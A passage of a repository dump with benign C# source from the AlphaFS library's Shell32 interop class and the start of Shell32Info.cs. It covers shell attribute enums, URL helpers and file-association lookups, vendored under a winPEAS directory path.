<summary>0x000002000 - Retrieve the type of the executable file if pszPath identifies an executable file.</summary>\n         /// <remarks>This flag cannot be specified with any other attributes.</remarks>\n         ExeType = 8192,\n\n         /// <summary>0x000004000 - Retrieve the index of a system image list icon.</summary>\n         SysIconIndex = 16384,\n\n         /// <summary>0x000008000 - Add the link overlay to the file's icon.</summary>\n         /// <remarks>The <see cref=\"Icon\"/> flag must also be set.</remarks>\n         LinkOverlay = 32768,\n\n         /// <summary>0x000010000 - Blend the file's icon with the system highlight color.</summary>\n         Selected = 65536,\n\n         /// <summary>0x000020000 - Modify <see cref=\"Attributes\"/> to indicate that <see cref=\"FileInfo.Attributes\"/> contains specific attributes that are desired.</summary>\n         /// <remarks>This flag cannot be specified with the <see cref=\"Icon\"/> attribute. Will touch every file, degrading performance.</remarks>\n         AttributesSpecified = 131072\n      }\n\n\n      /// <summary>SHFILEINFO structure, contains information about a file system object.</summary>\n      [SuppressMessage(\"Microsoft.Performance\", \"CA1815:OverrideEqualsAndOperatorEqualsOnValueTypes\")]\n      [SuppressMessage(\"Microsoft.Design\", \"CA1034:NestedTypesShouldNotBeVisible\")]\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      public struct FileInfo\n      {\n         /// <summary>A handle to the icon that represents the file.</summary>\n         /// <remarks>Caller is responsible for destroying this handle with DestroyIcon() when no longer needed.</remarks>\n         [SuppressMessage(\"Microsoft.Design\", \"CA1051:DoNotDeclareVisibleInstanceFields\")]\n         public readonly IntPtr IconHandle;\n\n         /// <summary>The index of the icon image within the system image list.</summary>\n         [SuppressMessage(\"Microsoft.Design\", \"CA1051:DoNotDeclareVisibleInstanceFields\")]\n         public int IconIndex;\n\n         /// <summary>An array of values that indicates the attributes of the file object.</summary>\n         [SuppressMessage(\"Microsoft.Design\", \"CA1051:DoNotDeclareVisibleInstanceFields\")]\n         [MarshalAs(UnmanagedType.U4)]\n         public readonly GetAttributesOf Attributes;\n\n         /// <summary>The name of the file as it appears in the Windows Shell, or the path and file name of the file that contains the icon representing the file.</summary>\n         [SuppressMessage(\"Microsoft.Design\", \"CA1051:DoNotDeclareVisibleInstanceFields\")]\n         [MarshalAs(UnmanagedType.ByValTStr, SizeConst = NativeMethods.MaxPath)]\n         public string DisplayName;\n\n         /// <summary>The type of file.</summary>\n         [SuppressMessage(\"Microsoft.Design\", \"CA1051:DoNotDeclareVisibleInstanceFields\")]\n         [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 80)]\n         public string TypeName;\n      }\n\n\n      /// <summary>SFGAO - Attributes that can be retrieved from a file system object.</summary>      \n      [SuppressMessage(\"Microsoft.Usage\", \"CA2217:DoNotMarkEnumsWithFlags\"), SuppressMessage(\"Microsoft.Design\", \"CA1034:NestedTypesShouldNotBeVisible\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"Sh\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Sh\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1714:FlagsEnumsShouldHavePluralNames\")]\n      [Flags]\n      public enum GetAttributesOf\n      {\n         /// <summary>0x00000000 - None.</summary>\n         None = 0,\n\n         /// <summary>0x00000001 - The specified items can be copied.</summary>\n         CanCopy = 1,\n\n         /// <summary>0x00000002 - The specified items can be moved.</summary>\n         CanMove = 2,\n\n         /// <summary>0x00000004 - Shortcuts can be created for the specified items.</summary>\n         CanLink = 4,\n\n         /// <summary>0x00000008 - The specified items can be bound to an IStorage object through IShellFolder::BindToObject. For more information about namespace manipulation capabilities, see IStorage.</summary>\n         Storage = 8,\n\n         /// <summary>0x00000010 - The specified items can be renamed. Note that this value is essentially a suggestion; not all namespace clients allow items to be renamed. However, those that do must have this attribute set.</summary>\n         CanRename = 16,\n\n         /// <summary>0x00000020 - The specified items can be deleted.</summary>\n         CanDelete = 32,\n\n         /// <summary>0x00000040 - The specified items have property sheets.</summary>\n         HasPropSheet = 64,\n\n         /// <summary>0x00000100 - The specified items are drop targets.</summary>\n         DropTarget = 256,\n\n         /// <summary>0x00001000 - The specified items are system items.</summary>\n         ///  <remarks>Windows 7 and later.</remarks>\n         System = 4096,\n\n         /// <summary>0x00002000 - The specified items are encrypted and might require special presentation.</summary>\n         Encrypted = 8192,\n\n         /// <summary>0x00004000 - Accessing the item (through IStream or other storage interfaces) is expected to be a slow operation.</summary>\n         IsSlow = 16384,\n\n         /// <summary>0x00008000 - The specified items are shown as dimmed and unavailable to the user.</summary>\n         Ghosted = 32768,\n\n         /// <summary>0x00010000 - The specified items are shortcuts.</summary>\n         Link = 65536,\n\n         /// <summary>0x00020000 - The specified objects are shared.</summary>\n         Share = 131072,\n\n         /// <summary>0x00040000 - The specified items are read-only. In the case of folders, this means that new items cannot be created in those folders.</summary>\n         ReadOnly = 262144,\n\n         /// <summary>0x00080000 - The item is hidden and should not be displayed unless the Show hidden files and folders option is enabled in Folder Settings.</summary>\n         Hidden = 524288,\n\n         /// <summary>0x00100000 - The items are nonenumerated items and should be hidden. They are not returned through an enumerator such as that created by the IShellFolder::EnumObjects method.</summary>\n         NonEnumerated = 1048576,\n\n         /// <summary>0x00200000 - The items contain new content, as defined by the particular application.</summary>\n         NewContent = 2097152,\n\n         /// <summary>0x00400000 - Indicates that the item has a stream associated with it.</summary>\n         Stream = 4194304,\n\n         /// <summary>0x00800000 - Children of this item are accessible through IStream or IStorage.</summary>\n         StorageAncestor = 8388608,\n\n         /// <summary>0x01000000 - When specified as input, instructs the folder to validate that the items contained in a folder or Shell item array exist.</summary>\n         Validate = 16777216,\n\n         /// <summary>0x02000000 - The specified items are on removable media or are themselves removable devices.</summary>\n         Removable = 33554432,\n\n         /// <summary>0x04000000 - The specified items are compressed.</summary>\n         Compressed = 67108864,\n\n         /// <summary>0x08000000 - The specified items can be hosted inside a web browser or Windows Explorer frame.</summary>\n         Browsable = 134217728,\n\n         /// <summary>0x10000000 - The specified folders are either file system folders or contain at least one descendant (child, grandchild, or later) that is a file system folder.</summary>\n         FileSysAncestor = 268435456,\n\n         /// <summary>0x20000000 - The specified items are folders.</summary>\n         Folder = 536870912,\n\n         /// <summary>0x40000000 - The specified folders or files are part of the file system (that is, they are files, directories, or root directories).</summary>\n         FileSystem = 1073741824,\n\n         /// <summary>0x80000000 - The specified folders have subfolders.</summary>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1702:CompoundWordsShouldBeCasedCorrectly\", MessageId = \"SubFolder\")]\n         HasSubFolder = unchecked((int)0x80000000)\n      }\n\n\n      /// <summary>Used by method UrlIs() to define a URL type.</summary>\n      public enum UrlType\n      {\n         /// <summary>Is the URL valid?</summary>\n         IsUrl = 0,\n\n         /// <summary>Is the URL opaque?</summary>\n         IsOpaque = 1,\n\n         /// <summary>Is the URL a URL that is not typically tracked in navigation history?</summary>\n         IsNoHistory = 2,\n\n         /// <summary>Is the URL a file URL?</summary>\n         IsFileUrl = 3,\n\n         /// <summary>Attempt to determine a valid scheme for the URL.</summary>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Appliable\")]\n         IsAppliable = 4,\n\n         /// <summary>Does the URL string end with a directory?</summary>\n         IsDirectory = 5,\n\n         /// <summary>Does the URL have an appended query string?</summary>\n         IsHasQuery = 6\n      }\n\n\n      #region Methods\n\n      /// <summary>Destroys an icon and frees any memory the icon occupied.</summary>\n      /// <param name=\"iconHandle\">An <see cref=\"IntPtr\"/> handle to an icon.</param>\n      public static void DestroyIcon(IntPtr iconHandle)\n      {\n         if (IntPtr.Zero != iconHandle)\n            NativeMethods.DestroyIcon(iconHandle);\n      }\n\n\n      /// <summary>Gets the file or protocol that is associated with <paramref name=\"path\"/> from the registry.</summary>\n      /// <param name=\"path\">A path to the file.</param>\n      /// <returns>The associated file- or protocol-related string from the registry or <c>string.Empty</c> if no association can be found.</returns>\n      [SecurityCritical]\n      public static string GetFileAssociation(string path)\n      {\n         return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.Executable);\n      }\n\n\n      /// <summary>Gets the content-type that is associated with <paramref name=\"path\"/> from the registry.</summary>\n      /// <param name=\"path\">A path to the file.</param>\n      /// <returns>The associated file- or protocol-related content-type from the registry or <c>string.Empty</c> if no association can be found.</returns>\n      [SecurityCritical]\n      public static string GetFileContentType(string path)\n      {\n         return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.ContentType);\n      }\n\n\n      /// <summary>Gets the default icon that is associated with <paramref name=\"path\"/> from the registry.</summary>\n      /// <param name=\"path\">A path to the file.</param>\n      /// <returns>The associated file- or protocol-related default icon from the registry or <c>string.Empty</c> if no association can be found.</returns>\n      [SecurityCritical]\n      public static string GetFileDefaultIcon(string path)\n      {\n         return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.DefaultIcon);\n      }\n\n\n      /// <summary>Gets the friendly application name that is associated with <paramref name=\"path\"/> from the registry.</summary>\n      /// <param name=\"path\">A path to the file.</param>\n      /// <returns>The associated file- or protocol-related friendly application name from the registry or <c>string.Empty</c> if no association can be found.</returns>\n      [SecurityCritical]\n      public static string GetFileFriendlyAppName(string path)\n      {\n         return GetFileAssociationCore(path, AssociationAttributes.InitByExeName, AssociationString.FriendlyAppName);\n      }\n\n\n      /// <summary>Gets the friendly document name that is associated with <paramref name=\"path\"/> from the registry.</summary>\n      /// <param name=\"path\">A path to the file.</param>\n      /// <returns>The associated file- or protocol-related friendly document name from the registry or <c>string.Empty</c> if no association can be found.</returns>\n      [SecurityCritical]\n      public static string GetFileFriendlyDocName(string path)\n      {\n         return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.FriendlyDocName);\n      }\n\n\n      /// <summary>Gets an <see cref=\"IntPtr\"/> handle to the Shell icon that represents the file.</summary>\n      /// <remarks>Caller is responsible for destroying this handle with DestroyIcon() when no longer needed.</remarks>\n      /// <param name=\"filePath\">\n      ///   The path to the file system object which should not exceed maximum path length. Both absolute and\n      ///   relative paths are valid.\n      /// </param>\n      /// <param name=\"iconAttributes\">\n      ///   Icon size <see cref=\"Shell32.FileAttributes.SmallIcon\"/> or <see cref=\"Shell32.FileAttributes.LargeIcon\"/>. Can also be combined\n      ///   with <see cref=\"Shell32.FileAttributes.AddOverlays\"/> and others.\n      /// </param>\n      /// <returns>An <see cref=\"IntPtr\"/> handle to the Shell icon that represents the file, or IntPtr.Zero on failure.</returns>\n      [SecurityCritical]\n      public static IntPtr GetFileIcon(string filePath, FileAttributes iconAttributes)\n      {\n         if (Utils.IsNullOrWhiteSpace(filePath))\n            return IntPtr.Zero;\n\n         var fileInfo = GetFileInfoCore(filePath, System.IO.FileAttributes.Normal, FileAttributes.Icon | iconAttributes, true, true);\n         return fileInfo.IconHandle == IntPtr.Zero ? IntPtr.Zero : fileInfo.IconHandle;\n      }\n\n\n      /// <summary>Retrieves information about an object in the file system, such as a file, folder, directory, or drive root.</summary>\n      /// <returns>A <see cref=\"FileInfo\"/> struct instance.</returns>\n      /// <remarks>\n      /// <para>You should call this function from a background thread.</para>\n      /// <para>Failure to do so could cause the UI to stop responding.</para>\n      /// <para>Unicode path are supported.</para>\n      /// </remarks>\n      /// <param name=\"filePath\">The path to the file system object which should not exceed the maximum path length. Both absolute and relative paths are valid.</param>\n      /// <param name=\"attributes\">A <see cref=\"System.IO.FileAttributes\"/> attribute.</param>\n      /// <param name=\"fileAttributes\">One ore more <see cref=\"FileAttributes\"/> attributes.</param>\n      /// <param name=\"continueOnException\">\n      /// <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      /// <para>such as ACLs protected directories or non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      public static FileInfo GetFileInfo(string filePath, System.IO.FileAttributes attributes, FileAttributes fileAttributes, bool continueOnException)\n      {\n         return GetFileInfoCore(filePath, attributes, fileAttributes, true, continueOnException);\n      }\n\n\n      /// <summary>Retrieves an instance of <see cref=\"Shell32Info\"/> containing information about the specified file.</summary>\n      /// <param name=\"path\">A path to the file.</param>\n      /// <returns>A <see cref=\"Shell32Info\"/> class instance.</returns>\n      [SecurityCritical]\n      public static Shell32Info GetShell32Info(string path)\n      {\n         return new Shell32Info(path);\n      }\n\n      /// <summary>Retrieves an instance of <see cref=\"Shell32Info\"/> containing information about the specified file.</summary>\n      /// <param name=\"path\">A path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"Shell32Info\"/> class instance.</returns>\n      [SecurityCritical]\n      public static Shell32Info GetShell32Info(string path, PathFormat pathFormat)\n      {\n         return new Shell32Info(path, pathFormat);\n      }\n\n\n      /// <summary>Gets the \"Open With\" command that is associated with <paramref name=\"path\"/> from the registry.</summary>\n      /// <param name=\"path\">A path to the file.</param>\n      /// <returns>The associated file- or protocol-related \"Open With\" command from the registry or <c>string.Empty</c> if no association can be found.</returns>\n      [SecurityCritical]\n      public static string GetFileOpenWithAppName(string path)\n      {\n         return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.FriendlyAppName);\n      }\n\n\n      /// <summary>Gets the Shell command that is associated with <paramref name=\"path\"/> from the registry.</summary>\n      /// <param name=\"path\">A path to the file.</param>\n      /// <returns>The associated file- or protocol-related Shell command from the registry or <c>string.Empty</c> if no association can be found.</returns>\n      [SecurityCritical]\n      public static string GetFileVerbCommand(string path)\n      {\n         return GetFileAssociationCore(path, AssociationAttributes.Verify, AssociationString.Command);\n      }\n\n\n      /// <summary>Converts a file URL to a Microsoft MS-DOS path.</summary>\n      /// <param name=\"urlPath\">The file URL.</param>\n      /// <returns>\n      /// <para>The Microsoft MS-DOS path. If no path can be created, <c>string.Empty</c> is returned.</para>\n      /// <para>If <paramref name=\"urlPath\"/> is <c>null</c>, <c>null</c> will also be returned.</para>\n      /// </returns>\n      [SecurityCritical]\n      internal static string PathCreateFromUrl(string urlPath)\n      {\n         if (urlPath == null)\n            return null;\n\n         var buffer = new StringBuilder(NativeMethods.MaxPathUnicode);\n         var bufferSize = (uint)buffer.Capacity;\n\n         var lastError = NativeMethods.PathCreateFromUrl(urlPath, buffer, ref bufferSize, 0);\n\n         // Don't throw exception, but return string.Empty;\n         return lastError == Win32Errors.S_OK ? buffer.ToString() : string.Empty;\n      }\n\n\n      /// <summary>Creates a path from a file URL.</summary>\n      /// <returns>\n      /// <para>The file path. If no path can be created, <c>string.Empty</c> is returned.</para>\n      /// <para>If <paramref name=\"urlPath\"/> is <c>null</c>, <c>null</c> will also be returned.</para>\n      /// </returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"urlPath\">The URL.</param>\n      [SecurityCritical]\n      internal static string PathCreateFromUrlAlloc(string urlPath)\n      {\n         if (!NativeMethods.IsAtLeastWindowsVista)\n            throw new PlatformNotSupportedException(new Win32Exception((int)Win32Errors.ERROR_OLD_WIN_VERSION).Message);\n\n\n         if (urlPath == null)\n            return null;\n\n         StringBuilder buffer;\n         var lastError = NativeMethods.PathCreateFromUrlAlloc(urlPath, out buffer, 0);\n\n         // Don't throw exception, but return string.Empty;\n         return lastError == Win32Errors.S_OK ? buffer.ToString() : string.Empty;\n      }\n\n\n      /// <summary>Determines whether a path to a file system object such as a file or folder is valid.</summary>\n      /// <param name=\"path\">The full path of maximum length the maximum path length to the object to verify.</param>\n      /// <returns><c>true</c> if the file exists; <c>false</c> otherwise</returns>\n      [SuppressMessage(\"Microsoft.Performance\", \"CA1804:RemoveUnusedLocals\", MessageId = \"lastError\")]\n      [SecurityCritical]\n      public static bool PathFileExists(string path)\n      {\n         // PathFileExists()\n         // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n         return !Utils.IsNullOrWhiteSpace(path) && NativeMethods.PathFileExists(Path.GetFullPathCore(null, false, path, GetFullPathOptions.AsLongPath | GetFullPathOptions.FullCheck | GetFullPathOptions.ContinueOnNonExist));\n      }\n\n\n      /// <summary>Tests whether a URL is a specified type.</summary>\n      /// <param name=\"url\">The URL.</param>\n      /// <param name=\"urlType\"></param>\n      /// <returns>\n      /// For all but one of the URL types, UrlIs returns <c>true</c> if the URL is the specified type, or <c>false</c> otherwise.\n      /// If UrlIs is set to <see cref=\"UrlType.IsAppliable\"/>, UrlIs will attempt to determine the URL scheme.\n      /// If the function is able to determine a scheme, it returns <c>true</c>, or <c>false</c> otherwise.\n      /// </returns>\n      [SecurityCritical]\n      internal static bool UrlIs(string url, UrlType urlType)\n      {\n         return NativeMethods.UrlIs(url, urlType);\n      }\n\n\n      /// <summary>Converts a Microsoft MS-DOS path to a canonicalized URL.</summary>\n      /// <param name=\"path\">The full MS-DOS path of maximum length <see cref=\"NativeMethods.MaxPath\"/>.</param>\n      /// <returns>\n      /// <para>The URL. If no URL can be created <c>string.Empty</c> is returned.</para>\n      /// <para>If <paramref name=\"path\"/> is <c>null</c>, <c>null</c> will also be returned.</para>\n      /// </returns>\n      [SecurityCritical]\n      internal static string UrlCreateFromPath(string path)\n      {\n         if (path == null)\n            return null;\n\n         // UrlCreateFromPath does not support extended paths.\n         var pathRp = Path.GetRegularPathCore(path, GetFullPathOptions.CheckInvalidPathChars, false);\n\n         var buffer = new StringBuilder(NativeMethods.MaxPathUnicode);\n         var bufferSize = (uint)buffer.Capacity;\n\n         var lastError = NativeMethods.UrlCreateFromPath(pathRp, buffer, ref bufferSize, 0);\n\n         // Don't throw exception, but return null;\n         var url = buffer.ToString();\n         if (Utils.IsNullOrWhiteSpace(url))\n            url = string.Empty;\n\n         return lastError == Win32Errors.S_OK ? url : string.Empty;\n      }\n\n\n      /// <summary>Tests a URL to determine if it is a file URL.</summary>\n      /// <param name=\"url\">The URL.</param>\n      /// <returns><c>true</c> if the URL is a file URL, or <c>false</c> otherwise.</returns>\n      [SecurityCritical]\n      internal static bool UrlIsFileUrl(string url)\n      {\n         return NativeMethods.UrlIs(url, UrlType.IsFileUrl);\n      }\n\n\n      /// <summary>Returns whether a URL is a URL that browsers typically do not include in navigation history.</summary>\n      /// <param name=\"url\">The URL.</param>\n      /// <returns><c>true</c> if the URL is a URL that is not included in navigation history, or <c>false</c> otherwise.</returns>\n      [SecurityCritical]\n      internal static bool UrlIsNoHistory(string url)\n      {\n         return NativeMethods.UrlIs(url, UrlType.IsNoHistory);\n      }\n\n\n      /// <summary>Returns whether a URL is opaque.</summary>\n      /// <param name=\"url\">The URL.</param>\n      /// <returns><c>true</c> if the URL is opaque, or <c>false</c> otherwise.</returns>\n      [SecurityCritical]\n      internal static bool UrlIsOpaque(string url)\n      {\n         return NativeMethods.UrlIs(url, UrlType.IsOpaque);\n      }\n\n\n      #region Internal Methods\n\n      /// <summary>Searches for and retrieves a file or protocol association-related string from the registry.</summary>\n      /// <param name=\"path\">A path to a file.</param>\n      /// <param name=\"attributes\">One or more <see cref=\"AssociationAttributes\"/> attributes. Only one \"InitXXX\" attribute can be used.</param>\n      /// <param name=\"associationType\">A <see cref=\"AssociationString\"/> attribute.</param>\n      /// <returns>The associated file- or protocol-related string from the registry or <c>string.Empty</c> if no association can be found.</returns>\n      /// <exception cref=\"ArgumentNullException\"/>\n      [SecurityCritical]\n      private static string GetFileAssociationCore(string path, AssociationAttributes attributes, AssociationString associationType)\n      {\n         if (Utils.IsNullOrWhiteSpace(path))\n            throw new ArgumentNullException(\"path\");\n\n         attributes = attributes | AssociationAttributes.NoTruncate | AssociationAttributes.RemapRunDll;\n\n         uint bufferSize = NativeMethods.MaxPath;\n         StringBuilder buffer;\n         uint retVal;\n\n         do\n         {\n            buffer = new StringBuilder((int)bufferSize);\n\n            // AssocQueryString()\n            // 2014-02-05: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n            // 2015-07-17: This function does not support long paths.\n\n            retVal = NativeMethods.AssocQueryString(attributes, associationType, path, null, buffer, out bufferSize);\n\n            // No Exception is thrown, just return empty string on error.\n\n            //switch (retVal)\n            //{\n            //   // 0x80070483: No application is associated with the specified file for this operation.\n            //   case 2147943555:\n            //   case Win32Errors.E_POINTER:\n            //   case Win32Errors.S_OK:\n            //      break;\n\n            //   default:\n            //      NativeError.ThrowException(retVal);\n            //      break;\n            //}\n\n         } while (retVal == Win32Errors.E_POINTER);\n\n         return buffer.ToString();\n      }\n\n\n      /// <summary>Retrieve information about an object in the file system, such as a file, folder, directory, or drive root.</summary>\n      /// <returns>A <see cref=\"FileInfo\"/> struct instance.</returns>\n      /// <remarks>\n      /// <para>You should call this function from a background thread.</para>\n      /// <para>Failure to do so could cause the UI to stop responding.</para>\n      /// <para>Unicode path are not supported.</para>\n      /// </remarks>\n      /// <param name=\"path\">The path to the file system object which should not exceed the maximum path length in length. Both absolute and relative paths are valid.</param>\n      /// <param name=\"attributes\">A <see cref=\"System.IO.FileAttributes\"/> attribute.</param>\n      /// <param name=\"fileAttributes\">A <see cref=\"FileAttributes\"/> attribute.</param>\n      /// <param name=\"checkInvalidPathChars\">Checks that the path contains only valid path-characters.</param>\n      /// <param name=\"continueOnException\">\n      /// <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      /// <para>such as ACLs protected directories or non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      internal static FileInfo GetFileInfoCore(string path, System.IO.FileAttributes attributes, FileAttributes fileAttributes, bool checkInvalidPathChars, bool continueOnException)\n      {\n         // Prevent possible crash.\n         var fileInfo = new FileInfo\n         {\n            DisplayName = string.Empty,\n            TypeName = string.Empty,\n            IconIndex = 0\n         };\n\n         if (!Utils.IsNullOrWhiteSpace(path))\n         {\n            // ShGetFileInfo()\n            // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n            // 2015-07-17: This function does not support long paths.\n\n            var shGetFileInfo = NativeMethods.ShGetFileInfo(Path.GetRegularPathCore(path, checkInvalidPathChars ? GetFullPathOptions.CheckInvalidPathChars : 0, false), attributes, out fileInfo, (uint)Marshal.SizeOf(fileInfo), fileAttributes);\n\n            if (shGetFileInfo == IntPtr.Zero && !continueOnException)\n               NativeError.ThrowException(Marshal.GetLastWin32Error(), path);\n         }\n\n         return fileInfo;\n      }\n\n      #endregion // Internal Methods\n\n      #endregion // Methods\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Shell32Info.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Contains Shell32 information about a file.</summary>\n   [Serializable]\n   [SecurityCritical]\n   public sealed class Shell32Info\n   {\n      #region Constructors\n\n      /// <summary>Initializes a Shell32Info instance.</summary>\n      /// <remarks>Shell32 is limited to <c>MAX_PATH</c> length.</remarks>\n      /// <remarks>This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations.</remarks>\n      /// <param name=\"fileName\">The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character.</param>\n      public Shell32Info(string fileName) : this(fileName, PathFormat.RelativePath)\n      {\n      }\n\n      /// <summary>Initializes a Shell32Info instance.</summary>\n      /// <remarks>Shell32 is limited to <c>MAX_PATH</c> length.</remarks>\n      /// <remarks>This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations.</remarks>\n      /// <param name=\"fileName\">The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      public Shell32Info(string fileName, PathFormat pathFormat)\n      {\n         if (Utils.IsNullOrWhiteSpace(fileName))\n            throw new ArgumentNullException(\"fileName\");\n\n         // Shell32 is limited to <c>MAX_PATH</c> length.\n         // Get a full path of regular format.\n\n         FullPath = Path.GetExtendedLengthPathCore(null, fileName, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         Initialize();\n      }\n\n      #endregion // Constructors\n\n      \n      #region Methods\n\n      /// <summary>Gets an <see cref=\"IntPtr\"/> handle to the Shell icon that represents the file.</summary>\n      /// <param name=\"iconAttributes\">Icon size <see cref=\"Shell32.FileAttributes.SmallIcon\"/> or <see cref=\"Shell32.FileAttributes.LargeIcon\"/>. Can also be combined with <see cref=\"Shell32.FileAttributes.AddOverlays\"/> and others.</param>\n      /// <returns>An <see cref=\"IntPtr\"/> handle to the Shell icon that represents the file.</returns>\n      /// <remarks>Caller is responsible for destroying this handle with DestroyIcon() when no longer needed.</remarks>\n      [SecurityCritical]\n      public IntPtr GetIcon(Shell32.FileAttributes iconAttributes)\n      {\n         return Shell32.GetFileIcon(FullPath, iconAttributes);\n      }\n\n\n      /// <summary>Gets the Shell command association from the registry.</summary>\n      /// <param name=\"shellVerb\">The shell verb.</param>\n      /// <returns>\n      ///   Returns the associated file- or protocol-related Shell command from the registry or <c>string.Empty</c> if no association can be\n      ///   found.\n      /// </returns>\n      [SecurityCritical]\n      public string GetVerbCommand(string shellVerb)\n      {\n         return GetString(_iQaNone, Shell32.AssociationString.Command, shellVerb);\n      }\n\n\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      private static string GetString(NativeMethods.IQueryAssociations iQa, Shell32.AssociationString assocString, string shellVerb)\n      {\n         // GetString() throws Exceptions.\n         try\n         {\n            // Use a large buffer to prevent calling this function twice.\n            var size = NativeMethods.DefaultFileBufferSize;\n            var buffer = new StringBuilder(size);\n\n            iQa.GetString(Shell32.AssociationAttributes.NoTruncate | Shell32.AssociationAttributes.RemapRunDll, assocString, shellVerb, buffer, out size);\n\n            return buffer.ToString();\n         }\n         catch\n         {\n            return string.Empty;\n         }\n      }\n\n\n      private NativeMethods.IQueryAssociations _iQaNone;    // Retrieve info from Shell.\n      private NativeMethods.IQueryAssociations _iQaByExe;   // Retrieve info from exe file.\n\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      private void Initialize()\n      {\n         if (Initialized)\n            return;\n\n         var iidIQueryAssociations = new Guid(NativeMethods.QueryAssociationsGuid);\n\n         if (NativeMethods.AssocCreate(NativeMethods.ClsidQueryAssociations, ref iidIQueryAssociations, out _iQaNone) == Win32Errors.S_OK)\n         {\n            try\n            {\n               _iQaNone.Init(Shell32.AssociationAttributes.None, FullPath, IntPtr.Zero, IntPtr.Zero);\n\n               if (NativeMethods.AssocCreate(NativeMethods.ClsidQueryAssociations, ref iidIQueryAssociations, out _iQaByExe) == Win32Errors.S_OK)\n               {\n                  _iQaByExe.Init(Shell32.AssociationAttributes.InitByExeName, FullPath, IntPtr.Zero, IntPtr.Zero);\n\n                  Initialized = true;\n               }\n            }\n            catch\n            {\n            }\n         }\n      }\n\n\n      /// <summary>Refreshes the state of the object.</summary>\n      [SecurityCritical]\n      public void Refresh()\n      {\n         Association = Command = ContentType = DdeApplication = DefaultIcon = FriendlyAppName = FriendlyDocName = OpenWithAppName = null;\n         Attributes = Shell32.GetAttributesOf.None;\n         Initialized = false;\n         Initialize();\n      }\n\n\n      /// <summary>Returns the path as a string.</summary>\n      /// <returns>The path.</returns>      \n      public override string ToString()\n      {\n         return FullPath;\n      }\n\n      #endregion // Methods\n\n\n      #region Properties\n\n      private string _association;\n\n      /// <summary>Gets the Shell file or protocol association from the registry.</summary>\n      public string Association\n      {\n         get\n         {\n            if (_association == null)\n               _association = GetString(_iQaNone, Shell32.AssociationString.Executable, null);\n\n            return _association;\n         }\n\n         private set { _association = value; }\n      }\n\n      \n      private Shell32.GetAttributesOf _attributes;\n\n      /// <summary>The attributes of the file object.</summary>\n      public Shell32.GetAttributesOf Attributes\n      {\n         get\n         {\n            if (_attributes == Shell32.GetAttributesOf.None)\n            {\n               var fileInfo = Shell32.GetFileInfoCore(FullPath, FileAttributes.Normal, Shell32.FileAttributes.Attributes, false, true);\n               _attributes = fileInfo.Attributes;\n            }\n\n            return _attributes;\n         }\n\n         private set { _attributes = value; }\n      }\n\n\n      private string _command;\n\n      /// <summary>Gets the Shell command association from the registry.</summary>\n      public string Command\n      {\n         get\n         {\n            if (_command == null)\n               _command = GetString(_iQaNone, Shell32.AssociationString.Command, null);\n\n            return _command;\n         }\n\n         private set { _command = value; }\n      }\n\n\n      private string _contentType;\n\n      /// <summary>Gets the Shell command association from the registry.</summary>\n      public string ContentType\n      {\n         get\n         {\n            if 